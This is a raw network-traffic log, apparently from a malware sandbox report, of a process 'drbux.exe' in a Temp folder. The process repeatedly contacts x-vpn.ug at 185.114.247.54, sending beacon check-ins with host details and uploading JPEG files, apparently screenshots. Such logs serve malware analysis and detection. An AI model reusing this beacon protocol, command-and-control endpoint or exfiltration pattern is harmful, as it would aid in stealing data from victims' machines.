Jul 19, 2021 18:35:29.183175087 CEST	2606	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:29.183346987 CEST	2607	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.6	49904	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:16.482297897 CEST	14622	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:16.482458115 CEST	14622	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:16.482768059 CEST	14632	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:16.482990026 CEST	14635	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:16.564213991 CEST	14636	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:16.564685106 CEST	14638	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:16.565148115 CEST	14641	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:16.565527916 CEST	14644	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:16.565797091 CEST	14647	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:16.565922022 CEST	14649	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:16.566231966 CEST	14652	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:16.566879034 CEST	14655	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.6	49905	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:16.592422009 CEST	14662	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:16.671713114 CEST	14702	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.6	49906	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:16.877032042 CEST	14721	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:16.974716902 CEST	14722	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.6	49907	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:17.020853996 CEST	14722	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:17.021198988 CEST	14722	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:17.021596909 CEST	14732	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:17.021847010 CEST	14735	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:17.100580931 CEST	14741	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:17.100944042 CEST	14743	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:17.101154089 CEST	14744	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:17.101253033 CEST	14747	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:17.101437092 CEST	14749	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:17.101603031 CEST	14752	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:17.101788044 CEST	14755	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:17.101960897 CEST	14756	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.6	49908	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:17.191904068 CEST	14810	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:17.303258896 CEST	14821	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.6	49909	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:17.518181086 CEST	14822	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:17.610918999 CEST	14836	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.6	49910	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:17.541516066 CEST	14822	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:17.541528940 CEST	14822	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:17.541733027 CEST	14833	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:17.542171955 CEST	14835	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:17.625621080 CEST	14839	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
